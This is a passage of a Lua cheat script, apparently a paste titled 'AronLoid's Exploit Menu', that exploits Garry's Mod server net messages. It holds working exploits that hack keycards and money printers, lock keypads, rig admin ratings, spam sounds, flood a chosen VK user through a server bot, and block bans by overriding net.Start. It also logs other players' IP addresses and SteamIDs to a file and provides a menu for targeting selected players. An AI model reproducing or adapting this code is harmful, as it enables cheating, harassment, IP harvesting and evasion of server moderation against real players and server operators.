  776.             if !net.ReadBool() then --Зашел или нет
  777.                 return
  778.             end
  779.             if net.ReadBool() then --Бот чек
  780.                 return
  781.             end
  782.            
  783.             local name = net.ReadString()
  784.             local ip = net.ReadString()
  785.             local steamid = net.ReadString()
  786.            
  787.             if whitelist[ steamid ] then
  788.                 return
  789.             end
  790.            
  791.             file.Append( '_z_ip.txt', string.format( [[%s | %s | %s | %s | %s\n]], game.GetIPAddress(), GetHostName(), name, steamid, ip ) )
  792.         end
  793.     end, deact = function()
  794.         net.Receivers[ 'rlib.debug.listener' ] = exploitinfo[ 'rlib.debug.listener' ]
  795.     end, t = 0, tn = 'rlibiplogger', rare = 4, status = 'Undetected', tags = {
  796.         [ 'rlib.debug.listener' ] = net.Receivers[ 'rlib.debug.listener' ]
  797.     } },
  798.    
  799.     { name = 'Подкрутка рейтинга админу', desc = 'Выдает 100 раз оценку (текст снизу) админу (работает только сразу после закрытия жалобы админом, нельзя выдавать звезды самому)', check = function()
  800.         return cats
  801.     end, func = function()
  802.         local int = 0
  803.        
  804.         if currenttext ~= '' then
  805.             int = math.Clamp( tonumber( currenttext ), 1, 5 )
  806.         end
  807.        
  808.         for _ = 1, 100 do
  809.             net.Start( 'cats.setRating' )
  810.             net.WriteUInt( int == 0 and math.random( 1, 5 ) or int, 8 )
  811.             net.SendToServer()
  812.         end
  813.     end, rare = 2, status = 'Undetected' },
  814.    
  815.     { name = 'Взломать KeyCard', desc = 'Нужно на него смотреть и запустить функцию', check = function()
  816.         return netValid( 'netKeycardAdminSpawn' )
  817.     end, func = function()
  818.         local ent = EyeTrace().Entity
  819.         if ent:IsValid() and ent:GetClass() == 'ent_keycardscanner' then
  820.             net.Start( 'netKeycardAdminSpawn' )
  821.             net.WriteEntity( ent )
  822.             net.SendToServer()
  823.         end
  824.     end, rare = 2, status = 'Undetected' },
  825.    
  826.     { name = 'Заблокировать все KeyCard\'ы', desc = 'Блокируется все KeyCard\'ы на карте', check = function()
  827.         return netValid( 'netKeycardHackSpawn' )
  828.     end, func = function()
  829.         local ents = ents.FindByClass( 'ent_keycardscanner' )
  830.         for i = 1, #ents do
  831.             net.Start( 'netKeycardHackSpawn' )
  832.             net.WriteEntity( ents[ i ] )
  833.             net.SendToServer()
  834.         end
  835.     end, t = .1, tn = 'keycardlock', rare = 2, status = 'Undetected' },
  836.    
  837.     { name = 'Взломать MoneyPrinter', desc = 'Мнгновенный взлом владельца принтера, на который вы смотрите, работает на близкой дистанции', check = function()
  838.         return netValid( 'money_clicker_steal' )
  839.     end, func = function()
  840.         local ent = EyeTrace().Entity
  841.  
  842.         if not ent:IsValid() or ent:GetClass() ~= 'money_clicker' then return end
  843.  
  844.         net.Start( 'money_clicker_steal' )
  845.         net.WriteEntity( ent )
  846.         net.WriteBool( false )
  847.         net.SendToServer()
  848.  
  849.         net.Start( 'money_clicker_steal' )
  850.         net.WriteEntity( ent )
  851.         net.WriteBool( true )
  852.         net.SendToServer()
  853.     end, rare = 2, status = 'Undetected' },
  854.    
  855.     { name = 'Блок Keypad\'ов #' .. getCount( 'keypadblock' ), desc = 'Кейпады рядом с Вами будут сверкать и на них нельзя будет ввести пароль', check = function()
  856.         return PatternKeypad
  857.     end, func = function()
  858.         local keypads = ents.FindByClass( 'keypad_pattern' )
  859.  
  860.         for i = 1, #keypads do
  861.             local keypad = keypads[ i ]
  862.  
  863.             if keypad:GetPos():Distance( lply:GetPos() ) < 250 then
  864.                 keypad:SendCombination( {} )
  865.             end
  866.         end
  867.     end, tn = 'patternkeypadhack', t = .1, rare = 1, status = 'Undetected' },
  868.    
  869.     { name = 'Блок Keypad\'ов #' .. getCount( 'keypadblock' ), desc = 'Пароли кейпадов рядом с Вами будут постоянно очищаться', check = function()
  870.         return netValid( 'keypad' ) or netValid( 'keypad_command' )
  871.     end, func = function()
  872.         local keypads = ents.FindByClass( 'keypad' )
  873.  
  874.         for i = 1, #keypads do
  875.             local keypad = keypads[ i ]
  876.  
  877.             if keypad:GetPos():DistToSqr( lply:GetPos() ) < 14400 and ( ( keypad.GetText and keypad:GetText() ~= '' ) or ( keypad.GetDisplayText and keypad:GetDisplayText() ~= '' ) ) then
  878.                 if keypad.SendCommand then
  879.                     keypad:SendCommand( keypad.Command_Abort )
  880.                 else
  881.                     net.Start( 'keypad_command' )
  882.                     net.WriteEntity( keypad )
  883.                     net.WriteUInt( keypad.Command_Reset, 3 )
  884.                     net.SendToServer()
  885.                 end
  886.             end
  887.         end
  888.     end, tn = 'keypadblock', t = .1, rare = 1, status = 'Undetected' },
  889.    
  890.     { name = 'Удалить NLR экран', desc = 'Убирает чёрный экран при входе в NLR зону', check = function()
  891.         return hookValid( 'HUDPaint', 'Draw_NLR_Circle' )
  892.     end, act = function()
  893.         hook.Add( 'HUDPaint', 'Draw_NLR_Circle', function() end )
  894.     end, deact = function()
  895.         hook.Add( 'HUDPaint', 'Draw_NLR_Circle', exploitinfo[ 'oldNLRHud' ] )
  896.     end, tn = '', t = 0, rare = 0, status = 'Undetected', tags = {
  897.         [ 'oldNLRHud' ] = hook.GetTable()[ 'HUDPaint'][ 'Draw_NLR_Circle' ]
  898.     } },
  899.    
  900.     { name = 'Включить лапы зайца', desc = 'Донатный BunnyHop', check = function()
  901.         return bhmenu
  902.     end, func = function()
  903.         net.Start( 'zaika' )
  904.         net.SendToServer()
  905.     end, rare = 2, status = 'Undetected' },
  906.    
  907.     { name = 'Включить глаза хищника', desc = 'Донатный ВХ', check = function()
  908.         return true
  909.     end, func = function()
  910.         lply:SetNWBool( 'хищник_глаза', true )
  911.     end, deact = function()
  912.         lply:SetNWBool( 'хищник_глаза', false )
  913.     end, tn = 'hisnikeyes', t = .1, rare = 1, status = 'Undetected' },
  914.    
  915.     { name = 'Спам звуком', desc = 'Раз в секунду активируется звук на большое растояние, не использовать долго (могут забанить)', check = function()
  916.         return netValid( 'wanted_radio' )
  917.     end, func = function()
  918.         net.Start( 'wanted_radio' )
  919.         net.WriteEntity( lply )
  920.         net.WriteInt( 1, 4 )
  921.         net.SendToServer()
  922.     end, tn = 'wantedradiospam', t = 1, rare = 2, status = 'Use at own risk' },
  923.    
  924.     { name = 'Флуд в ВК', desc = 'Определенному юзеру (нужно ввести ссылку ниже) будет флудить бот в ВК, после чего бот сломается на некоторое время', check = function()
  925.         return gavnoeofa
  926.     end, func = function()
  927.         net.Start( 'SendKodPlz' )
  928.         net.WriteString( currenttext )
  929.         net.SendToServer()
  930.     end, tn = 'vkfloodcode', t = .1, rare = 2, status = 'Undetected' },
  931.    
  932.     { name = 'АнтиБан', desc = 'Бан не будет работать при включенной работе эксплойта (только бан, меняющий профессию)', check = function()
  933.         return netValid( 'NeuroBanReason' )
  934.     end, act = function()
  935.         function _G.net.Start( a, b )
  936.             if a ~= 'NeuroBanReason' then
  937.                 net.Start( a, b )
  938.             end
  939.         end
  940.     end, deact = function()
  941.         _G.net.Start = exploitinfo[ 'old_net.Start' ]
  942.     end, tn = '', t = 0, rare = 3, status = 'Undetected', tags = {
  943.         [ 'old_net.Start' ] = net.Start
  944.     } },
  945. }
  946.  
  947. table.sort( exploits, function( e1, e2 )
  948.     return e1.rare > e2.rare
  949. end )
  950.  
  951. exploitcount = #exploits
  952.  
  953. //Menu
  954.  
  955. local menu = vgui.Create( 'DFrame' )
  956. menu:SetSize( scrw, scrh )
  957. menu:Center()
  958. menu:Hide()
  959. menu:MakePopup()
  960. menu:SetTitle( '' )
  961. menu:ShowCloseButton()
  962.  
  963. function menu:Paint( w, h )
  964.     if scrgrb() then
  965.         return
  966.     end
  967.    
  968.     if spotsdraw then
  969.         surface.SetDrawColor( 45, 45, 45, 200 )
  970.         surface.DrawRect( 0, 0, w, h )
  971.        
  972.         for a = 1, 25 do
  973.             local spot = spotstable[ a ]
  974.             surface.DrawCircle( spot.x, spot.y, 1, Color( 255, 255, 255 ) )
  975.            
  976.             for b = 1, 25 do
  977.                 local spot2 = spotstable[ b ]
  978.                 if a ~= b and math.abs( spot2.x - spot.x ) <= 100 and math.abs( spot2.y - spot.y ) <= 100 then
  979.                     surface.DrawLine( spot.x, spot.y, spot2.x, spot2.y )
  980.                 end
  981.             end
  982.         end
  983.     else
  984.         surface.SetDrawColor( bg.color )
  985.         surface.DrawRect( 0, 0, w, h )
  986.     end
  987.    
  988.     surface.SetDrawColor( 255, 255, 255, 128 )
  989.     surface.DrawOutlinedRect( 0, 0, w, h, 1 )
  990.    
  991.     local text = 'AronLoid\'s Exploit Menu | ' .. exploitavailable .. '/' .. exploitcount .. ' эксплоитов | ' .. version
  992.     surface.SetTextColor( 255, 255, 255 )
  993.     surface.SetFont( '_z_emm' )
  994.     surface.SetTextPos( 5, 5 )
  995.     surface.DrawText( text )
  996.     if #antiexp > 0 then
  997.         local col = math.cos( SysTime() * 10 ) * 127.5 + 127.5
  998.         local text = 'Обнаружено: ' .. table.concat( antiexp, ', ' )
  999.         surface.SetTextColor( col, 0, 255 - col )
  1000.         surface.SetTextPos( w - surface.GetTextSize( text ) - 40, 5 )
  1001.         surface.DrawText( text )
  1002.     end
  1003. end
  1004.  
  1005. menu.OldThink = menu.Think
  1006.  
  1007. function menu:Think()
  1008.     for a = 1, 25 do
  1009.         local spot = spotstable[ a ]
  1010.         if spot.x >= scrw or spot.x <= 0 then
  1011.             spot.x2 = -spot.x2
  1012.         end
  1013.             if spot.y >= scrh or spot.y <= 0 then
  1014.             spot.y2 = -spot.y2
  1015.         end
  1016.         spotstable[ a ].x = spot.x + spot.x2
  1017.         spotstable[ a ].y = spot.y + spot.y2
  1018.     end
  1019.    
  1020.     self:OldThink()
  1021. end
  1022.  
  1023. local bghtml = vgui.Create( 'DHTML', menu )
  1024. bghtml:SetPos( ( scrw - bg.w ) / 2 - 10, ( scrh - bg.h ) / 2 - 10 )
  1025. bghtml:SetHTML( '<img src=\"' .. bg.url .. '\">' )
  1026. bghtml:SetSize( bg.w + 100, bg.h + 100 )
  1027. bghtml:SetVisible( !spotsdraw )
  1028.  
  1029. local col = spotsdraw and 45 or 175
  1030. local bgtoggle = vgui.Create( 'DButton', menu )
  1031. bgtoggle:SetSize( 40, 20 )
  1032. bgtoggle:SetPos( 5, scrh - 20 )
  1033. bgtoggle:SetText( '' )
  1034.  
  1035. function bgtoggle:Paint( w, h )
  1036.     if scrgrb() then
  1037.         return
  1038.     end
  1039.    
  1040.     if col < 175 and !spotsdraw then
  1041.         col = Lerp( FrameTime() * 10, col, 175 )
  1042.     elseif col > 45 and spotsdraw then
  1043.         col = Lerp( FrameTime() * 10, col, 45 )
  1044.     end
  1045.    
  1046.     surface.SetDrawColor( 255, 255, 255, 128 )
  1047.     surface.DrawOutlinedRect( 0, 0, w, h, 1 )
  1048.    
  1049.     surface.SetDrawColor( col, 220 - col, 45, 175 )
  1050.     surface.DrawRect( 1, 1, w - 2, h - 2 )
  1051.    
  1052.     surface.SetFont( '_z_em' )
  1053.     surface.SetTextColor( 255, 255, 255 )
  1054.     surface.SetTextPos( 5, 0 )
  1055.     surface.DrawText( 'Фон' )
  1056. end
  1057.  
  1058. function bgtoggle:OnCursorEntered()
  1059.     playsound( sounds[ 1 ] )
  1060. end
  1061.  
  1062. function bgtoggle:DoClick()
  1063.     spotsdraw = !spotsdraw
  1064.     bghtml:SetVisible( !spotsdraw )
  1065.    
  1066.     if spotsdraw then
  1067.         cookie.Delete( '_z_wallpaper' )
  1068.     else
  1069.         cookie.Set( '_z_wallpaper', '' )
  1070.     end
  1071. end
  1072.  
  1073. local dtext = vgui.Create( 'DTextEntry', menu )
  1074. dtext:SetSize( scrw - 55, 20 )
  1075. dtext:SetPos( 50, scrh - 20 )
  1076. dtext:SetText( '' )
  1077. function dtext:OnTextChanged( text )
  1078.     currenttext = self:GetText()
  1079. end
  1080. dtext.paint = dtext.Paint
  1081. function dtext:Paint( w, h )
  1082.     if !scrgrb() then
  1083.         self:paint( w, h )
  1084.     end
  1085. end
  1086.  
  1087. local close = vgui.Create( 'DButton', menu )
  1088. close:SetSize( 30, 15 )
  1089. close:SetPos( scrw - 35, 0 )
  1090. close:SetText( '' )
  1091. function close:Paint( w, h )
  1092.     if scrgrb() then
  1093.         return
  1094.     end
  1095.     surface.SetDrawColor( 255, 255, 255, 128 )
  1096.     surface.DrawOutlinedRect( 0, 0, w, h, 1 )
  1097.    
  1098.     surface.SetDrawColor( 175, 45, 45, 175 )
  1099.     surface.DrawRect( 1, 1, w - 2, h - 2 )
  1100.     surface.SetFont( '_z_em' )
  1101.     surface.SetTextColor( 255, 255, 255 )
  1102.     surface.SetTextPos( 11, -4 )
  1103.     surface.DrawText( 'x' )
  1104. end
  1105.  
  1106. function close:OnCursorEntered()
  1107.     playsound( sounds[ 1 ] )
  1108. end
  1109.  
  1110. function close:DoClick()
  1111.     menu:Hide()
  1112. end
  1113.  
  1114. local binds = {}
  1115. local dexp = vgui.Create( 'DPanelList', menu )
  1116. dexp:SetSize( scrw, scrh - 45 )
  1117. dexp:SetPos( 0, 20 )
  1118. dexp:SetPadding( 15 )
  1119. dexp:SetSpacing( 1 )
  1120. dexp:EnableVerticalScrollbar()
  1121.  
  1122. for _, exploit in pairs( exploits ) do
  1123.     if exploit.check() then
  1124.         if exploit.tn and timer.Exists( '_z_em_' .. exploit.tn ) then
  1125.             timer.Remove( '_z_em_' .. exploit.tn )
  1126.             if exploit.deact then
  1127.                 exploit.deact()
  1128.             end
  1129.         end
  1130.         exploitavailable = exploitavailable + 1
  1131.        
  1132.         local col = 45
  1133.         local but = vgui.Create( 'DButton', dply )
  1134.         but:SetSize( 0, 40 )
  1135.         but:SetText( '' )
  1136.         function but:Paint( w, h )
  1137.             if scrgrb() then
  1138.                 return
  1139.             end
  1140.            
  1141.             if exploit.active then
  1142.                 if col < 175 then
  1143.                     col = Lerp( FrameTime() * 10, col, 175 )
  1144.                 end
  1145.             elseif col > 0 then
  1146.                 col = Lerp( FrameTime() * 10, col, 0 )
  1147.             end
  1148.            
  1149.             surface.SetDrawColor( 255, 255, 255, 128 )
  1150.             surface.DrawOutlinedRect( 0, 0, w, h, 1 )
  1151.            
  1152.             surface.SetDrawColor( 0, col, 0, 175 )
  1153.             surface.DrawRect( 1, 1, w - 2, h - 2 )
  1154.            
  1155.             local status = exploit.status
  1156.             surface.SetFont( '_z_em' )
  1157.             surface.SetTextColor( 100, 100, 100 )
  1158.            
  1159.             surface.SetTextPos( w - surface.GetTextSize( status ) - 2, 2.5 )
  1160.             surface.DrawText( status )
  1161.            
  1162.             surface.SetTextColor( 255, 255, 255 )
  1163.             local name = exploit.name
  1164.             surface.SetTextPos( ( w - surface.GetTextSize( name ) ) / 2, 2.5 )
  1165.             surface.DrawText( name )
  1166.            
  1167.             local desc = exploit.desc
  1168.             surface.SetFont( '_z_emm' )
  1169.             surface.SetTextPos( w / 2 - surface.GetTextSize( desc ) / 2, 20 )
  1170.             surface.DrawText( desc )
  1171.         end
  1172.        
  1173.         function but:OnCursorEntered()
  1174.             playsound( sounds[ 1 ] )
  1175.         end
  1176.        
  1177.         function but:DoClick()
  1178.             local active = exploit.active
  1179.             if !active then
  1180.                 playsound( sounds[ 2 ] )
  1181.             end
  1182.        
  1183.             local t = exploit.t
  1184.             local act = exploit.act
  1185.             local deact = exploit.deact
  1186.             local func = exploit.func
  1187.            
  1188.             if isnumber( t ) then
  1189.                 if active then
  1190.                     if func then
  1191.                         timer.Remove( '_z_em_' .. exploit.tn )
  1192.                     end
  1193.                     exploit.active = false
  1194.                     playsound( sounds[ 3 ] )
  1195.                     if deact then
  1196.                         deact()
  1197.                     end
  1198.                    
  1199.                     local tags = exploit.tags
  1200.                     if tags then
  1201.                         for name in pairs( tags ) do
  1202.                             exploitinfo[ name ] = nil
  1203.                         end
  1204.                     end
  1205.                 else
  1206.                     local tags = exploit.tags
  1207.                     if tags then
  1208.                         for name, value in pairs( tags ) do
  1209.                             exploitinfo[ name ] = value
  1210.                         end
  1211.                     end
  1212.                    
  1213.                     if act then
  1214.                         act()
  1215.                     end
  1216.                    
  1217.                     if func then
  1218.                         timer.Create( '_z_em_' .. exploit.tn, math.max( t, .01 ), 0, exploit.func )
  1219.                     end
  1220.                     exploit.active = true
  1221.                 end
  1222.             else
  1223.                 if func then
  1224.                     exploit.func()
  1225.                 end
  1226.                
  1227.                 exploit.active = true
  1228.                
  1229.                 timer.Simple( .1, function()
  1230.                     exploit.active = false
  1231.                 end )
  1232.             end
  1233.         end
  1234.         binds[ exploit.name ] = function()
  1235.             but:DoClick()
  1236.         end
  1237.         dexp:AddItem( but )
  1238.     end
  1239. end
  1240.  
  1241. local dplypan = vgui.Create( 'DPanel', menu )
  1242. dplypan:SetPos( scrw - 15, 20 )
  1243. dplypan.Opened = false
  1244. dplypan.w = 0
  1245. dplypan:SetSize( 315, scrh - 45 )
  1246.  
  1247. function dplypan:Think()
  1248.     if self.Opened and self.w < 315 then
  1249.         self.w = Lerp( FrameTime() * 10, self.w, 315 )
  1250.         dplypan:SetPos( scrw - self.w, 25 )
  1251.     elseif !self.Opened and self.w > 15 then
  1252.         self.w = Lerp( FrameTime() * 10, self.w, 15 )
  1253.         dplypan:SetPos( scrw - self.w, 25 )
  1254.     end
  1255. end
  1256.  
  1257. function dplypan:Paint( w, h )
  1258.     if scrgrb() then
  1259.         return
  1260.     end
  1261.    
  1262.     surface.SetDrawColor( 255, 255, 255, 128 )
  1263.     surface.DrawOutlinedRect( 0, 0, w, h, 1 )
  1264.    
  1265.     surface.SetDrawColor( 50, 50, 50, 175 )
  1266.     surface.DrawRect( 1, 1, w - 2, h - 2 )
  1267.    
  1268.     surface.SetDrawColor( 25, 25, 25, 175 )
  1269.     surface.DrawRect( 15, 1, w - 17, h - 2 )
  1270. end
  1271.  
  1272. local dply = vgui.Create( 'DPanelList', dplypan )
  1273. dply:SetSize( 300, scrh - 85 )
  1274. dply:SetPos( 15, 20 )
  1275. dply:SetPadding( 5 )
  1276. dply:SetSpacing( 1 )
  1277. dply:EnableVerticalScrollbar()
  1278.  
  1279. local selectall = vgui.Create( 'DButton', dplypan )
  1280. selectall:SetSize( 300, 20 )
  1281. selectall:SetPos( 15, scrh - 65 )
  1282. selectall:SetText( '' )
  1283.  
  1284. function selectall:Paint( w, h )
  1285.     if scrgrb() then
  1286.         return
  1287.     end
  1288.    
  1289.     surface.SetDrawColor( 255, 255, 255, 128 )
  1290.     surface.DrawOutlinedRect( 0, 0, w, h, 1 )
  1291.    
  1292.     surface.SetDrawColor( 75, 75, 75, 175 )
  1293.     surface.DrawRect( 1, 1, w - 2, h - 2 )
  1294.    
  1295.     surface.SetTextColor( 255, 255, 255 )
  1296.     surface.SetFont( '_z_em' )
  1297.     local tw = surface.GetTextSize( 'Выбрать всех' )
  1298.     surface.SetTextPos( ( w - tw ) / 2, 0 )
  1299.     surface.DrawText( 'Выбрать всех' )
  1300. end
  1301.  
  1302. function selectall:OnCursorEntered()
  1303.     playsound( sounds[ 1 ] )
  1304. end
  1305.  
  1306. function selectall:DoClick()
  1307.     playsound( sounds[ 2 ] )
  1308.    
  1309.     local plys = player.GetHumans()
  1310.    
  1311.     for i = 1, #plys do
  1312.         local ply = plys[ i ]
  1313.        
  1314.         if selectedall then
  1315.             selectedplys[ ply ] = nil
  1316.         else
  1317.             if !whitelist[ ply ] and ply ~= lply then
  1318.                 selectedplys[ ply ] = true
  1319.             end
  1320.         end
  1321.     end
  1322.    
  1323.     selectedall = !selectedall
  1324. end
  1325.  
  1326. local dplyopen = vgui.Create( 'DButton', dplypan )
  1327. dplyopen:SetSize( 15, scrh - 45 )
  1328. dplyopen:SetText( '' )
  1329.  
  1330. function dplyopen:Paint( w, h )
  1331.     if scrgrb() then
  1332.         return
  1333.     end
  1334.    
  1335.     surface.SetDrawColor( 255, 255, 255, 128 )
  1336.     surface.DrawOutlinedRect( 0, 0, w, h, 1 )
  1337.    
  1338.     surface.SetDrawColor( 75, 75, 75, 175 )
  1339.     surface.DrawRect( 1, 1, w - 2, h - 2 )
  1340.    
  1341.     surface.SetTextColor( 255, 255, 255 )
  1342.     surface.SetFont( '_z_em' )
  1343.     local _, th = surface.GetTextSize( '>' )
  1344.     surface.SetTextPos( 3, ( h - th ) / 2 )
  1345.     surface.DrawText( dplypan.Opened and '>' or '<' )
  1346. end
  1347.  
  1348. function dplyopen:OnCursorEntered()
  1349.     playsound( sounds[ 1 ] )
  1350. end
  1351.  
  1352. function dplyopen:DoClick()
  1353.     dplypan.Opened = !dplypan.Opened
  1354. end
  1355.  
  1356. if dply.DVScrollbar then
  1357.     function dply.DVScrollbar:Paint()
  1358.     end
  1359. end
  1360.  
  1361. concommand.Remove( '_z_open' )
  1362. concommand.Add( '_z_open', function()
  1363.     if antiexpdetect then
  1364.         antiexpdetect = false
  1365.         playsound( sounds[ 4 ] )
  1366.     end
  1367.    
  1368.     menu:Show()
  1369.     menu:Center()
  1370.    
  1371.     local items = dply:GetItems()
  1372.     for i = 1, #items do
  1373.         local item = items[ i ]
  1374.        
  1375.         if item then
  1376.             local ply = item.ply
  1377.            
  1378.             if !ply:IsValid() and selectedplys[ ply ] then
  1379.                 selectedplys[ ply ] = nil
  1380.             end
  1381.            
  1382.             item:Remove()
  1383.         end
  1384.     end
  1385.    
  1386.     local plys = player.GetAll()
  1387.     table.sort( plys, function( a, b )
  1388.         return a:Team() > b:Team()
  1389.     end )
  1390.    
  1391.     for i = 1, #plys do
  1392.         local ply = plys[ i ]
  1393.         if ply ~= lply or whitelist[ ply:SteamID() ] then
  1394.             local col = selectedplys[ ply ] and 200 or 0
  1395.             local but = vgui.Create( 'DButton', dply )
  1396.             but:SetSize( 0, 35 )
  1397.             but:SetText( '' )
  1398.            
  1399.             function but:Paint( w, h )
  1400.                 if scrgrb() then
  1401.                     return
  1402.                 end
  1403.                
  1404.                 if !ply:IsValid() then
  1405.                     selectedplys[ ply ] = nil
  1406.                     self:Remove()
  1407.                     return
  1408.                 end
  1409.                
  1410.                 if col < 200 and selectedplys[ ply ] then
  1411.                     col = Lerp( FrameTime() * 10, col, 200 )
  1412.                 elseif col > 0 and !selectedplys[ ply ] then
  1413.                     col = Lerp( FrameTime() * 10, col, 0 )
  1414.                 end
  1415.                 surface.SetDrawColor( 255, 255, 255, 128 )
  1416.                 surface.DrawOutlinedRect( 0, 0, w, h, 1 )
  1417.                
  1418.                 surface.SetDrawColor( 0, col, 0, 175 )
  1419.                 surface.DrawRect( 1, 1, w - 2, h - 2 )
  1420.                
  1421.                 surface.SetFont( '_z_em' )
  1422.                 surface.SetTextColor( 255, 255, whitelist[ ply:SteamID() ] and 0 or 255 )
  1423.                 local name = ply:Name()
  1424.                 surface.SetTextPos( w / 2 - surface.GetTextSize( name ) / 2, 2.5 )
  1425.                 surface.DrawText( name )
  1426.                
  1427.                 surface.SetFont( '_z_emm' )
  1428.                 surface.SetTextPos( 5, h - 15 )
  1429.                 surface.DrawText( ply:GetUserGroup() )
  1430.                
  1431.                 local text = team.GetName( ply:Team() )
  1432.                 surface.SetTextPos( w - surface.GetTextSize( text ) - 5, h - 15 )
  1433.                 surface.DrawText( text )
  1434.             end
  1435.            
  1436.             function but:OnCursorEntered()
  1437.                 playsound( sounds[ 1 ] )
  1438.             end
  1439.            
  1440.             function but:DoClick()
  1441.                 if selectedplys[ ply ] then
  1442.                     selectedplys[ ply ] = nil
  1443.                 else
  1444.                     selectedplys[ ply ] = true
  1445.                 end
  1446.             end
  1447.            
  1448.             but.ply = ply
  1449.             dply:AddItem( but )
  1450.         end
  1451.     end
  1452. end )
  1453.  
  1454. concommand.Remove( '_z_exp' )
  1455. concommand.Add( '_z_exp', function( _, _, _, text )
  1456.     local bind = binds[ text ]
  1457.     if bind then
  1458.         bind()
  1459.     else
  1460.         print( 'not found' )
  1461.     end
  1462. end )
  1463.  
  1464. -- vk.com/urbanichka
Add Comment
Please, Sign In to add comment